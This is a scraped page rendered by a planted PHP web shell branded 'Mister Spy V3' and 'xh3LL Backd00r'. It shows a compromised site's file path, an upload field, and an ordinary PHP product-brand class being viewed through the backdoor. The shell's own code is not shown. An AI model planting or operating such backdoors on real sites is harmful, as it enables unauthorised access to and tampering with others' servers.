Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.marca.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.productos.php');

class Marca
{
	const PathImageBig		= '../_recursos/marcas/imagenes/big/';
	const PathImageThumb	= '../_recursos/marcas/imagenes/thumb/';

	public $IdMarca;
	public $Nombre;
	public $Url;
	public $Imagen;
	public $IdEstado;
	
	
	public function __construct()
	{
		$this->IdMarca 	= '';
		$this->Nombre 	= '';
		$this->Url	 	= '';
		$this->Imagen 	= '';
		$this->IdEstado	= '';
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdMarca 	= $arr['IdMarca'];
		$this->Nombre 	= stripslashes($arr['Nombre']);
		$this->Url 		= stripslashes($arr['Url']);
		$this->Imagen 	= $arr['Imagen'];
		$this->IdEstado	= $arr['IdEstado'];
	}
	
	
	public function CanDelete()
	{
		if (count($this->GetAllProductos()) > 0)
			return false;
			
		return true;
	}
	
	
	public function GetAllProductos()
	{
		$Productos = new Productos();
		
		return $Productos->GetAllByMarca($this);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat